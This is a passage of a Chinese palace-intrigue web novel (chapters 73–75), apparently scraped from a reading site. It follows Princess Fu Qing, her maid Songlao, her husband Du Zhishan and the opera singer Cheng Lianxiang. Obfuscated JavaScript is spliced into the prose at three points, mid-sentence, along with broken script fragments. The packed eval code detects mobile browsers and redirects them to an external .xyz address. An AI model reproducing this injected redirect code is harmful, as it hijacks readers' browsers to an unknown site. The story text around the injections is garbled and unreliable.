苻庆闭上眼又睁开,半晌才开口说道:“既然驸马有心,此事便交给驸马来做吧。只是松醪毕竟是我姨母给的,我会自己处理好这件事。” 见苻庆已经听进去了自己的话,杜至善满意地点头。“公主放心,下官一定不辜负公主的期望。” 回到翠华庭,苻庆才后知后觉自己心脏刚才跳得很快,灌了两大杯水才勉强缓下来。松醪看着苻庆大口喝水的样子有些奇怪,只能赶紧吩咐下人多送两壶茶水过来准备着。 看到松醪在面前走来走去,苻庆几乎下意识抓住了松醪的胳膊。 “公主,您怎么了?” 苻庆这才发觉自己的动作有些冒失,缓了两口气之后松开了手。“杜至善说想要换一批下人。” “换?”松醪有些不理解,“公主府的下人都是宫中派来的,他想怎么换?” “我还不知道。”苻庆低下头避免与松醪的对视,“总之你这几天盯好了揽晴轩,我了解杜至善,他既然开了口必然是做好万全的准备了。” 松醪点点头。 听着松醪的脚步声离开屋子,苻庆才终于抬起头来。 今天杜至善的状态让苻庆感觉很奇怪,偏偏她还没有办法告诉松醪。 若说从前杜至善只是一只伺机而动的狐狸,那今天的杜至善更像是一只亮出爪牙的豺狼。苻庆能够感受到对方的变化,却不知道这变化是因何而来。 若是因为杜至善得知自己去了兵部,未免显得有些愚蠢。兵部如今鱼龙混杂,且大多是赵王一派的人,即便杜至善进去了,也很难走到中枢接触到什么实质性的消息。 苻庆有些头疼,一只手无意识地摸了摸自己的太阳穴。 虽说杜至善是一个合适的盟友,但苻庆总觉得他令人捉摸不透,只能时刻提防。这样的同盟对于现在的苻庆来说,仍然是有些难以驾驭。 “公主今日怎么了?可是被杜太傅和杜夫人扰得有些头痛。” 苻庆抬起头,松醪不知何时已经站在了她身前。 松醪将点燃的安神香摆在桌上,又伸出手抚上苻庆的太阳穴。 “公主闭上眼歇一会吧。” 苻庆点点头,顺从地闭上眼睛。 松醪的手不轻不重地在苻庆额头上按压着,很快便让苻庆紧绷的眉头舒展开了。 “公主,杜太傅和杜夫人即便难缠,说白了也不过是不相干的人。您若是实在不想见他们,奴婢明日便回禀给贵妃娘娘。” “到底是杜至善的父母,不见总是不好,再者说还有东宫的关系呢。” “东宫又怎么样?只要公主不喜欢,便是驸马,奴婢也能想办法拦住。” 苻庆忍不住笑了,轻声问道:“驸马你也有办法?那你告诉我,你有什么办法拦住他?” 松醪笑而不语,只是轻柔地按压着苻庆的穴位。 苻庆以为松醪不过是在逗自己,又闭上了眼睛。 “公主,奴婢自从您入宫便一直照顾您,在奴婢眼中您比这世界上任何人都重要。” 苻庆一愣,却并没有立刻睁开眼睛。 “虽说奴婢是贵妃娘娘的陪嫁丫鬟,但这些年奴婢心中最亲的主子只有您一个人。” 苻庆猛地睁开眼睛,伸手拉住了松醪的手。 “松醪,你是不是有什么话想对我说?” 松醪垂着头,一双眸子定定地看着仰头看着自己的苻庆。 “公主,奴婢是在等您对奴婢开口呢。” 与松醪待在一起的时间太久了,久到连苻庆都会忘记松醪可是从薛府便跟着薛贵妃的丫鬟,她的能力当然远不止能够妥善地照顾自己这么简单。 苻庆慢慢吞了口吐沫。 “是姨母发现的吗?” “公主放心,贵妃娘娘比不得奴婢日日在您身边照顾,不会发现这些事的。” “那你告诉姨母了吗?” 松醪看着苻庆焦急的神情,脸上露出一个微笑。 “公主还没有讲,奴婢跟贵妃娘娘又能说什么呢?” 苻庆松了一口气,放开了松醪的手。 “你是什么时候发现我有事情瞒着你的?” “公主错了,奴婢不是发现您有事情瞒着我,而是忽然发现您不再是什么事情都跟奴婢说了。” 苻庆看向松醪,面上露出一个无奈的笑容。松醪的话说得对,原先在宫里的时候,苻庆是所有事情都会告知松醪的。或许别人很难察觉出苻庆有所隐瞒,但对于松醪来说却是很容易发现。 “我就说我这个嘴,总是给我闯祸。”苻庆作势要打自己的嘴巴,被松醪轻轻拦住。 “公主这个习惯很好,不需要改。”松醪的声音温柔而又坚定,“早在公主与驸马在醉仙居见面却不要奴婢陪同的事后,奴婢便觉得公主好像对奴婢有所隐瞒了。” “那都过去多久了,你怎么也不问我?” “时机到了,公主自然会告诉奴婢。”松醪的手向苻庆的手传递过来一阵阵温热,“奴婢相信公主。” 看着松醪的神情,苻庆只能无奈一笑。松醪好像总是知道该怎么迫使自己张口,她明白自己最受不了的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446162|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,便是他人这样无条件的相信。 缓缓呼出一口气,苻庆将自己与杜至善约定一起想办法收复锦西城的事情和盘托出。在讲的过程中,苻庆一直在看着松醪的神色,而后者的表情一直没怎么变化过。 “今日我觉得杜至善有些奇怪,他甚至还要求我将你送回宫去,我刚才就是因为这件事烦恼呢。” “那公主是怎么想的?” “我自然是不可能将你送走,但若是直接反驳他,我又担心他会怀疑我。”苻庆眉头微皱,“所以我只能想着先答应他换走一批下人,正好这样也能看看他葫芦里到底卖的是什么药。” 松醪的目光落向地面,看起来应当是在思考。 “奴婢觉得驸马爷大约是想着公主府连个自己人都没有,做事情有些不方便吧?” 苻庆眯起眼睛,“这是我的公主府,他安插自己的人做什么?我可没把手伸到他的杜家去。” 松醪微笑着看向苻庆,苻庆明白自己刚才说的话有些傻,慢慢呼出一口气。 “看来不止我怀疑他,杜至善也并不相信我。” “毕竟公主与驸马爷图谋的并非是一朝一夕,这么大一盘棋他若是无人可用,难免会觉得掣肘。” 见松醪这么淡然地说出了杜至善与自己图谋的事情,苻庆反而有些不放心。 “松醪,你不会将这件事告诉我姨母吧?” 松醪摇头,“目前来看,奴婢是不会说的。” “目前?” “公主如今已经成婚了,也并非是小孩子。至于您有这样的想法,奴婢觉得很正常,毕竟锦西城是您的故乡。” 苻庆没想到松醪就这样被自己轻易说服了。 “但是今后的事情奴婢说不准,毕竟依照现在情况来看,公主与驸马爷之间也并非是铁板一块。” 虽说苻庆与杜至善图谋锦西城的事情松醪并不知情,但苻庆与杜至善之间存在问题却很好发现。毕竟他们两个人长久以来分属的是不同阵营,苻庆与杜至善又都不是能够轻松相信他人的人,这样的同盟在一开始必然是磕磕绊绊。 苻庆却已经听出了松醪的言外之意,噘着嘴故意说道:“原来你的意思是说以现在的局势来看,还不必告诉我姨母。” 松醪笑着安抚苻庆,“公主放心吧,贵妃娘娘一心为了您,肯定会站在您这边的。” “我怕的便是姨母一定会站在我这一边。”苻庆的笑容敛去,“平日里姨母对我实在是太好了,可是按照道理来说,沈清嘉才应当是姨母后半生的依靠。” 松醪知道这是苻庆担心自己的所作所为会连累薛贵妃,对于苻庆来说,这世间确实已经没什么好割舍不下的,唯一只担心薛贵妃会因为自己受到苛责。 这也是之前在宫中的时候苻庆为什么过得并不快乐,因为恃宠而骄很好表演,但是如何拿捏骄纵与蛮横之间的尺度,却需要苻庆反复思量做的每一件事。 而这样的结果便是,苻庆常常被迫在无关紧要的事情上骄纵,却又在真的想率性而为的事情上只能隐忍。 外人只能看到苻庆的生活风光,却无人在意她究竟想要得到什么,又真的想要保护的是什么。 松醪走上前主动拉住了苻庆的手。 “若是公主真的担忧此事会连累贵妃娘娘,那不如便好好思考如何能将这件事情做得更加圆满。” 苻庆的表情一滞,一双眸子透着些不可思议看着松醪。 “你不想阻拦我?” “公主只是想回家,奴婢阻拦您岂不是天理不容?所以我只盼望您能够念在贵妃娘娘的份上,不要让这件事走向鱼死网破的结局。” 半晌,苻庆缓缓点头。 “你放心,我答应你,不到万不得已的关头,绝对不闹到鱼死网破。” 73. 阻碍 不知是终于将憋了许久的秘密说出来的缘故,还是松醪点燃的安神香着实有效,反正这一晚苻庆说的很是不错,几乎是一夜无梦便到了天亮。 第二日苻庆醒来后便一直倒在贵妃榻上看书,松醪并没有劝,还帮苻庆把早饭也端到了贵妃榻旁边的茶几上摆着。 与翠华庭中苻庆的懒散不同,和春班卯时便已经起床了。如今天亮的已经很早了,和春班从卯时开始便不断有吊嗓子练声的声音传出来,期间还有乐器的伴奏。 程清秋刚出了屋子,便看见一个小师弟趴在程怜香的窗户底下,伸着脑袋往程怜香屋子里看去。 程清秋有些恼怒,抬腿便往小师弟屁股上踹了一脚。 “看什么呢?我瞧你皮痒了是不是?” 小师弟回头发现是程清秋,并不害怕,而是笑嘻嘻地凑到程清秋面前。 “师兄冤枉啊,我这是听说大师兄又两天不出房门了,这才过来看看的。” 程清秋不客气地一巴掌拍在小师弟脑门上,“你大师兄即便一个月不唱也照样有来捧他的观众,你要是一天不练别甭想着登台了!我看你就是欠揍!” “师兄饶命,师兄饶命!”小师弟躲开了程清秋的连环巴掌,赶紧往院子的方向跑去,只是跑的时候嘴巴还不老实,继续说道:“师兄每次都是这样,就是见不得我们说大师兄一点不好!” “你!”程清秋拿起一旁的扫帚作势要追,那小师弟终于赶紧跑走了。 放下了笤帚,程清秋看着程怜香紧闭的房门,最终也是恨恨地叹了口气。 “怎么在这叹起气来了?” 程清秋赶紧回身对程班主行礼,“师父。” 程班主的眼睛同样也落在程怜香的大门上。 “多长时间了?” “自师哥回来,已经有两日了。”程清秋说话的时候还带着无奈。 之前恰逢程班主生病,顾仙人死活不允许程班主出门,最终只能从他与程怜香之中选择一个人去英国公府。 程清秋从一开始便觉得程怜香不该去,英国公寿诞必然会邀请达官贵人,程怜香便很有可能见到苻庆公主。 奈何程清秋都已经主动请缨了,程怜香却还是执意要去。从那时候程清秋便能够感觉到,程清秋实则是故意想要偶遇公主的,在他与公主之间总是放不下过去的是程怜香。 “饭吃过吗?” 自从程怜香从英国公府回来后,程清秋又主动担负起日日给程怜香端饭的责任,因此对这件事很是了解。 “前日一点没吃,昨日喝了点粥。”想到自己走进去端走饭菜时候看到的程怜香,程清秋只觉得气不打一处来,“师父,我进去的时候瞧着师哥躺在床上一动不动,再好的人这样躺着也是要废掉的,更何况是咱们这行呢?” 程班主自然明白程怜香这样下去不是办法,叹过一口气后对程清秋开口:“你且放心去练嗓吧,今日我让顾老仙过来看看。” 顾仙人一向是最了解程怜香脾气的,听到程班主这样说,程清秋的心也放回肚子里一些。二人一同离开了后院。 虽说外头天光已然大亮,但程怜香屋里依然是黑洞洞的,他倒在床上,连衣服都没有换。若是此时程清秋走进来便会发现,程怜香躺下的姿势甚至与昨日他来端饭菜的时候一模一样。 到了中午,程怜香的房门被推开。 不同于程清秋放下饭菜就走的风格,顾仙人是生怕程怜香没有发现自己到了。将饭菜往桌上一放便走到程怜香床前,嗓门洪亮地问道:“小香香,你是死了吗?” 程怜香半天才坐起身,一半是因为不想起身,另一半是因为吃得太少实在没有力气。 “顾老仙,你来做什么?” “你看你这幅没出息的样子,你说我是来干什么的?”顾仙人毫不客气地坐在程怜香床榻上,“听说你已经两日没出过门了,你师父担心你,特意让我来瞧瞧。来,把胳膊伸过来让我号号脉。” 程怜香明白自己这是心病,并没有将手伸过去,只是缓缓呼出一口气。 “我没事,你回去吧。告诉师父不必担心我,明日我便早起吊嗓子,不会耽误了练功的。” 顾仙人看着程怜香有气无力的样子也很是无奈,只能耐着性子问道:“小香香,你说你这是何苦呢?难道你一开始不知道最后的结果是什么?若是知道,又何必把自己弄成这个样子?” 程怜香半晌无话,再看的时候却是眼泪已经簌簌地落下来。 “从前我只当她是心里没有我,虽然难过却也可以承受。可如今我们明明心意相通却不能在一起,这让我如何放得下她?” 顾仙人有些气闷,只能站起身在屋子内踱步。 “便是你们心意相通又能怎么样?她是公主,是天之骄女,不论怎样那公主府的驸马之位都不可能是留给你的呀!” “我不求驸马之位!”程怜香泪眼婆娑,“难道我会不知道自己是怎样卑贱的身份?自始至终我都没有肖想过能够做公主府的驸马。” “那你们到底是在担忧什么呢?”顾仙人觉得自己的脑子有点跟不上事情的发展,“难道说是碍于驸马的情面,公主真的喜欢上驸马爷了?” “不会的!”程怜香几乎是恶狠狠地说道,“阻碍我们的并非是一个具体的人,而是……” 程怜香说到重要之处反而不说了,顾仙人很是着急,连忙问道:“到底是什么?” 程怜香看了看外头,最终压低声音说道:“公主是怕我不能唱戏了。” “不能唱戏?你去公主府自荐枕席和你不能唱戏又有什么关系?”顾仙人只觉得程怜香是在说梦话,“公主别是根本就不喜欢你,在这说胡话搪塞你吧?” 程怜香无奈,只能将程班主曾经说过的话告知了顾仙人。 “我知道公主最是向往自由,她是想让我能够真正完成自己的理想,找寻到内心的自由。” 说完这话,顾仙人却陷入了沉默。程怜香再看过去的时候,只觉得顾仙人的表情有些奇怪,像是在憋着笑。 “你……” 程怜香话还没说完,顾仙人已经爆发出一阵酣畅淋漓的大笑。 “小香香啊小香香,你这是要让我说你什么好?”顾仙人笑得直不起腰,只能扶着桌子缓解。 程怜香不明白顾仙人是在笑什么,只能皱着眉看着对方。 顾仙人终于又能够说出话来,指着程怜香说道:“也就你们这群傻孩子,还真信兰兰说的胡话。” “胡话?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446163|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “当然是胡话!这些劳什子规矩都不过是兰兰为了约束你们才随便说的,他师父当年可没这么要求他。” 程怜香站起身来。 “这怎么可能?” “怎么不可能?不说别的,便是你师父自己,他早早就破戒了,后来还不是照样唱得很好?”顾仙人笑得眼睛都眯成了一条缝,看着程怜香还是一脸难以置信的表情,拍胸脯保证道:“别人说的你不信便罢了,我与兰兰的情分难道还会诓你?你若是胆子大,自己去问他便是了。” 程怜香先是一屁股蹲回了床榻之上,半晌都没有一点动静。对于他来说,接受这个消息确实还需要一点时间。 再看了一眼笑得直不起身的顾仙人,程怜香更加确定对方说的确实是实话。 顾仙人本来还在笑,下一刻却见程怜香站起来冲了出去,动作之快着实吓了顾仙人一跳。不过并没有成功,想来可能是因为太久没吃东西身体虚弱,很快便软软地倒了下去。 顾仙人眼疾手快将程怜香扶住,坐到了圆凳上。 “你这是要做什么去?” “我要去找公主。”程怜香的脸色看起来有点惨白。 顾仙人被程怜香的样子逗笑,“我真想把你屋里的镜子拿过来让你照照,你现在都成什么样子了,还要去找公主?你指望公主瞧上你什么?” 程怜香后知后觉赶紧摸了摸自己的脸,这几日他都吃得很少,想来确实有可能瘦了。 眼睛一转看到摆在桌上的饭菜,程怜香赶紧拿过筷子吃了起来。 顾仙人看着程怜香有些狼吞虎咽的样子,赶紧走上前劝阻对方吃慢些,但心里到底安稳了些许。 虽说自己说出了点程班主的陈年往事,但到底是完成了他的嘱托,拯救了他宝贝徒弟的性命不是? 吃过饭歇了会,顾仙人为程怜香搭了搭脉,确认对方的身体没什么问题,也就拍拍手准备离开。 脚刚踏出房门,顾仙人忽然想起什么,调转方向又走了回来。 “小香香,别嫌我啰嗦,这件事你可要想好了。” 程怜香看着顾仙人的眼睛闪闪发光,早已不复刚才惨淡无神的状态。 “我并不想阻拦你,但你可要想好,如果这件事情已经开始了,那你就绝不能后悔。” 程怜香微笑,“即便后悔,我也认了。” 听到程怜香这样说,顾仙人更加确定自己已经没有再劝的必要,摇头露出一个无奈的笑容,最后只是感慨一句,“年轻真好啊!” 顾仙人离开后不久,程怜香便换了衣服离开了和春班。他雇了一辆车子,不一会便到了圆柏商号。 此时刚过正午,圆柏商号里头并不热闹,一个伙计站在柜台里头,正用手撑着脑袋打瞌睡。听到程怜香走进来的声音,那伙计睁眼瞧了瞧,见程怜香实在穿的过于朴素,也就没当回事,又闭上了眼。 程怜香走到柜台边,弯曲食指用关节扣了扣台面。 伙计没办法,只得撑开眼皮看向程怜香。 “客人,您看您是兑银还是存钱啊?” “兑银。” 伙计猜到程怜香不是存钱的,立刻问道:“那您是要兑多少钱?” “你们商号今日有多少现银?” 74. 兑银 伙计一愣,半晌才回过神来自己并没有听错,再仔细打量遍眼前人,发现对方虽说衣着朴素,却长了张十分标致的脸蛋。 再开口的时候,伙计的言语中已经带了些殷勤。 “客人您放心,我家商号虽然不大,但背后也是有贵人入股的。每日商号中的现银便没有一千,也有八百两。” “那我就要八百两。”程怜香没有半分迟疑,“我雇了车子,劳烦你们的人帮我把钱都抬到车子上。” “八百?”伙计下意识地又重复了一遍,接着赶紧从柜台后走出来,将程怜香请到一旁的圈椅上坐下,并且端上了一杯茶。 “贵客,您在这稍作等待,我这就请我们掌柜的出来。” 不一会,一位面上蓄着小胡子的中年男子从屏风后走了出来。 “不知贵客驾到,有失远迎,真是过错、过错。” 程怜香并不想给这些人客套,他现在只想赶紧把钱取出来。 “掌柜的,我要兑八百两现银,劳烦您快一点。” “没问题,没问题。”掌柜连连点头,“那劳烦您将银票给我。” 程怜香将银票递给掌柜,对方看了一眼银票后,脸色微微一变,又瞥了一眼程怜香。 “掌柜的,有什么问题吗?” 掌柜连连摇头,“贵客稍安勿躁,我这就去后头将银钱清点好交给您过目。” 再回到屏风后,掌柜伸手拍了一下正在屏风后伸着脑袋张望的伙计,将银票递过去。 “换一张二百两的银票拿出去,我现在去后头数八百两现银。” “他还真有一千两啊?”伙计不敢置信地看了一眼手中的银票,“按道理说他有这么多钱存在咱们这我应当见过他呀,可我怎么瞧着他这么眼生呢。” 掌柜往外瞥了一眼,压低声音对伙计说:“你懂什么啊?没看那银票上写的是谁的名字吗?” 伙计仔细瞧了一眼,果然在银票上看见一个大大的“庆”字。 伙计立刻想起前段时间在整个京城闹得沸沸扬扬的宫廷轶事,诧异地说道:“这么说,他莫非就是……” 掌柜不置可否,轻声催促道:“快把银票换好送出去。还有,上头早就吩咐了,若是有人来兑这张银票,咱们必须得给那边通消息。” 伙计立刻说道:“掌柜放心,我这就让底下的出去送消息。” 屏风后的小声嘀咕程怜香一概不知,他安安稳稳喝了一盏茶,银票与现银已经准备好摆在了面前。掌柜一再请求程怜香清点数目,但他根本不在意这件事,只是让人赶紧将箱子搬到马车上。 看着现银被一趟趟搬上马车,程怜香忽然对掌柜问了一句:“你们能够瞧出这银票是谁给我的吗?” 掌柜不知道程怜香为什么问这个,权衡之下还是决定说实话。“贵客,这银票上都有主人的名字,自然是可以的。” “那便好,”程怜香放下心来,“既然你们已经知道这银票的主人是谁,便不要忘了告知银票的主人我曾经来过。” 掌柜一愣。平日里他经历的这种时候,对方大多数都是要让他尽量能够为自己保密,不要让银票的主人知道自己来兑换过银子的事情。不过这个掌柜也算是圆柏商号的老人了,圆柏商号背后的股东不乏朝廷中的贵人,孰重孰轻他还是能够分辨,因此刚才才会赶紧让人递消息出去。 “贵客放心,我们做的都是我们分内的事情。” 程怜香点头,道过谢后走出了店门,坐上马车缓缓往回走去。 马车上,程怜香随手打开了一个箱子,立刻被眼前白花花的银子晃着了眼睛,一时间只觉得整个车厢都变得亮堂了不少。 自己带着这一车钱,还真像是要出逃的。程怜香轻轻一笑,又合上了盖子。 在中午吃饭的时候程怜香便已经想过了,现在他若是想要见苻庆并不是一件简单的事情,更何况他还是要先避开杜至善。 思来想去,程怜香忽然想到了苻庆给他的那一千两银票。圆柏商号的名讳他曾经听说过,知道那里是聚集了京城中不少达官贵人钱财的商号,等闲人等是挤不进去的。在这种情况下,如果自己一次性提走大宗现银,程怜香不信这商号的人不会找背后之人通风报信。 而对方只要能通风报信,公主府必然会派人到和春班打探消息,到时候程怜香便能够通过那个人,联系到公主。 接下来需要考虑的,便是时间问题了。 程怜香在马车上只觉得自己这计划实在是周密,恨不得给自己鼓掌叫好。只是回去后被程班主发现他往屋子里搬了八百两现银,吓得程班主差点一口气上不来,赶紧找了些破烂将这些箱子盖上,避免被贼人惦记上。 程怜香本以为很快便会有人找上门来,毕竟八百两实在不是小数目,然而左等右等却没有见到人,只有程班主几乎一日三趟地往屋里跑,生怕别人不知道这程怜香的屋子藏了什么宝贝似的。 时间越久,程怜香的心便觉得越凉。他实在不确定苻庆是否还在意自己,若是苻庆此时已经彻底将自己忘了,那也许自己将这一千两取出来苻庆并不会在意,反而还觉得终于与自己这个累赘两清了。 这样想着,程怜香只觉得心里一阵阵抽痛。 而另一边,苻庆此时确实已经知道了程怜香兑换现银的事情,她也确实本想要人去问一问和春班,看看是不是出了什么事情。 可惜近来实在是碰到了些事情,抽不开身。 杜至善本来按照邱大人所说,第二日前往兵部正式当值,顺便拜会兵部尚书柳大人。谁知第二日在兵部待了一上午也未拜会到柳尚书,因为对方下过早朝后便径直去了赵王府。 当晚回来后,杜至善直接到了翠华庭。 苻庆听到松醪通禀的时候还未吃完饭,本想着磨蹭一会再见杜至善,却没想到对方竟然是站在院子门口通禀的,只能把吃了一半的包子放回盘子里。 见包子被收走,苻庆边擦嘴边义愤填膺。 “这个杜至善,若是待会没说有用的,我就把他剁成包子馅!” 杜至善走进来后并没有客套,行过礼后他便自然地坐在了圈椅上。苻庆心里还念着没吃完的晚饭,面上有些冷漠。 “公主,我今日在兵部得到一个消息。” “怎么了?” “柳尚书过几日要离开京城。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446164|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 这是苻庆从未想到的。 按道理来说,这兵部尚书属于调兵遣将的指挥所,作为最高决策者的兵部尚书是时常需要往返边疆与京城的,前几任兵部尚书也都曾做过大将军参与到战事之中。然而自从大夏与辽国议和,这兵部尚书俨然成为了一个闲差,柳尚书自从上任后从未离开过京城,更不要提见过什么战争的大场面了。 “这并非是小事,你敢肯定吗?” 杜至善端过一旁的茶盏,“多亏了我的好上司邱大人,他嫌麻烦竟直接让我进了柳尚书办公的房间,我在他房间的桌子上看见了已经准备好的告身与公据。” 这两样东西都是大夏朝规定官员出差时需要提前准备的,柳尚书桌上既然出现了这两样东西,那必然证明他近来有出京的打算。 苻庆敏锐地感觉到事情有些蹊跷,“好端端的兵部尚书出京城做什么?更何况按道理来说,能够让柳尚书离京的必然是大事才对,难道说是边关有异动?” 杜至善见苻庆与自己有同样的想法,轻轻点头。 “虽说具体情况我还不了解,但今天柳尚书下朝后便直接去了赵王府,我猜着此事应当非同小可,只是不知道柳尚书会不会选择瞒着我们。” 苻庆已经猜到了杜至善接下来想说什么,“既然如此,我这就让松醪去打探一下宫中有没有消息传出。” 杜至善很满意苻庆的安排,却又有些不满苻庆好像完全没有将自己昨晚的嘱咐放在心上。 “公主,昨晚我与你商议的事情,你思考得怎么样了?” 苻庆的手指微微用力捏住了袖子,但面上仍是风轻云淡地说道:“过几日便是瑕英长公主的婚礼,没有松醪在旁协助,我实在担心公主府送过去的贺礼会出现问题。” 杜至善领悟过来苻庆的意思,面上露出一个笑容。 “既然如此,那公主更要仔细检查,避免松醪姑娘会出现什么纰漏,到时候出了问题可就不好了。” 二人说完话,杜至善起身告辞,苻庆站起身目送杜至善走了出去。 下一刻,松醪从屏风后走了出来。 “公主。” “你也听到了,去查一查柳尚书是否真的要离京,还有离京的目的是什么。” 松醪点头。 “还有,我昨日让你查的杜至善的事情,有什么动静吗?” 松醪摇头,“揽晴轩一点动静都没有,奴婢私底下也探查过了,并未发现驸马与下人有过密的接触。” 苻庆闭上眼睛,眼前又出现了刚才在杜至善脸上闪过的那一抹笑容。 “杜至善是只聪明的狐狸,他既然开口,必然是已经有了决断。继续盯着揽晴轩,他一定会有动作的。” 松醪应下后退了出去。 屋中只留下苻庆一个人,她却已经没有了继续吃饭的兴致。 再想到白日里下人过来通禀程怜香忽然在圆柏商号兑现了八百两现银,苻庆抬手揉了揉自己的眉心。 罢了,先解决一件事情再说另一件事,左右程怜香也不可能突然跑了,至少八百两银子能解决的事情对于此时的苻庆来说,还不叫做真正的问题。 75. 兵部 不管是为了应付杜至善还是什么,总之从第二日开始,苻庆便开始认真整理起要在宁慈心婚礼时送过去的各样礼品。由于苻庆与宁慈心的婚礼日子相差不到一月,按照大夏的规矩,程怜香除了要准备婚礼的贺礼之外,还要为宁慈心准备诸如喜筷、喜被等生活用品,寓意喜气能够进行传递。 苻庆看着那一床大红色鸳鸯戏水的喜被,想到昨晚杜至善对自己说的话,只觉得这传递过去的还真不知道是什么运气。 “公主。” 苻庆抬起头,“你说。” 松醪今天早晨刚起身便按照苻庆的吩咐向宫中递了消息,苻庆本以为怎样都要等到午后,却没想到这会便把消息送回来了。 松醪走到苻庆身边,“公主,奴婢着人去打听了,来的人说今日兵部已经乱成一团了。” “那这么说,柳尚书要出京的事情是真的了?” “不仅如此,那人还说陛下有意要选一位新的尚书暂时管理兵部,看来柳尚书这一去便不是十天半个月能回来的了。” “要这么麻烦?”苻庆有些疑惑,“近来也没有听说边关有什么异动啊,怎么会出现这种事情。” 松醪摇头,“来的人并不知道边关出了什么事,好像这是秘闻,朝中只有少数几个人知晓。” “那我猜这几个人中一定会有赵王吧?”苻庆想到昨日杜至善提及柳尚书直接去了赵王府的事情,“这群人又不知道在打什么鬼主意了。” “公主,要不要奴婢托贵妃娘娘去打探一下消息?” 薛贵妃一定能够比自己得到更多的消息,苻庆考虑半晌,最终还是摇头。 “言多必失,我怕姨母能够瞧出来什么。” 松醪点头。 对于苻庆来说,柳尚书这趟出京城究竟是要去做什么其实并不重要。其一在朝堂上,根本不存在什么不透风的墙。即便那几位瞒得再严实,只要有人行动就必然会露出马脚,必然能够被人瞧出什么端倪;其二杜至善现在就在兵部,若是由他去打听这种事,肯定要比苻庆来得方便。 苻庆现在更关心的,是松醪提到的另一件事。 “你刚才说,陛下想要选一位新的兵部尚书?” 松醪点头,“想来陛下也觉得兵部一日无人掌管是不成的吧?” “那你说,陛下最想让谁来暂管兵部呢?” “大约是赵王吧?” 苻庆摇头,“赵王如今已经是三衙都指挥使,陛下若是再让他掌管兵部,难保不会被谏官责难,我想陛下是不会想要触这个眉头的。” 松醪想了想,“难道陛下会让兵部的其他几位大人暂时顶上吗?” “若是他们顶上,待柳尚书回来怎么办?已经做过上位者,必然是不会再甘心屈居人下了。” 苻庆回身看向松醪,“我想,陛下最稳妥的方式便是找一个既有威望,同时还不会对柳尚书造成威胁的人。” “按照公主的说法,那陛下只可能找一位老臣暂代此职了。”松醪眼珠一转,“公主,难道说……” 苻庆低声说道:“玉泉别院。” 松醪有些吃惊,“可是英国公不是正在静养吗?” 其实朝中有资历担任兵部尚书的人并不在少数,但问题便在于这次的兵部尚书并非什么好事,而只是一个暂时的差事。到兵部上任之后,做好了事情便等于是为柳尚书积攒了政绩,而做坏了事情却会被皇帝问责,更不要说还有可能面对底下人的不忿。 不管怎么看,这都实在不算是一个好位置。 而正因为这件差事难做,苻庆才越觉得皇帝有可能会请英国公出山。 如今朝堂上当任武将要职的无一例外不是赵王的人,对于他们来说这种吃力不讨好的事根本没必要做。但若是陛下真的选了一个并非赵王一派的后起之秀,赵王又不会同意在兵部尚书这样重要的岗位上安插一个自己无法控制的人。 “但愿只是我想多了。”苻庆扯出一个笑容驱散愁容,“大伯离京静养也已经五年了,想来陛下还不至于非要我大伯出山不可。” 此事过去后,苻庆与松醪便继续整理要送出去的若干贺礼。贺礼其实还算简单,只是那些琐碎的物件看似不难,实则却耗费了苻庆与松醪不少的精力。 待到苻庆与松醪终于商议准备出一个大致的礼单,太阳已经西斜了,柔和的夕阳透过窗棂洒进了屋内。 苻庆坐在圈椅中,看着丫鬟端着自己选好的贺礼走出库房,低头吹了吹杯中的热茶。 “公主休息会吧,贺礼的事情复杂,也不急在这一时啊。” 苻庆点头,将茶盏放在桌上。松醪已经走上前为苻庆按摩起肩膀,力道不轻不重很是舒服,苻庆满意地闭上了眼睛。 “松醪,今晚小厨房准备了什么?” “灶上炖了一只鸡,公主是想要喝鸡汤还是吃米饭?” 苻庆咽了口口水,再睁开眼睛已经不再如同刚才般疲惫。 “面条。” 松醪没忍住露出一个笑容,点头说道:“公主放心,奴婢这就去吩咐。” 松醪前脚刚走出大门,杜至善后脚便走了进来。两人在门外檐下打了个照面,松醪规规矩矩地行了一个礼,杜至善也只是点点头便走开了。 “公主。” 苻庆没想到是杜至善走了过来,对方头上没有戴官帽,但身上还穿着官袍。如今的杜至善已经是从五品上的兵部郎中,身上的官袍也已经换成了绯色。 苻庆有些不悦杜至善的不请自来,但自己并没有翠华庭,杜至善直接过来见自己也不逾矩,只是在苻庆心中他们两人并没有这么相熟罢了。 “你怎么过来了?是来看我贺礼准备的怎么样了吗?” 杜至善早已经再在进门的时候扫了一圈库房中的情况,也能够看出苻庆这一日过得很是辛苦,许多锦盒和箱子都打开了堆在地上,还有些花瓶摆件等物摆在桌子上,一看便是挑过了剩下的。 “公主蕙质兰心,这些事情我必然是比不上公主的。” 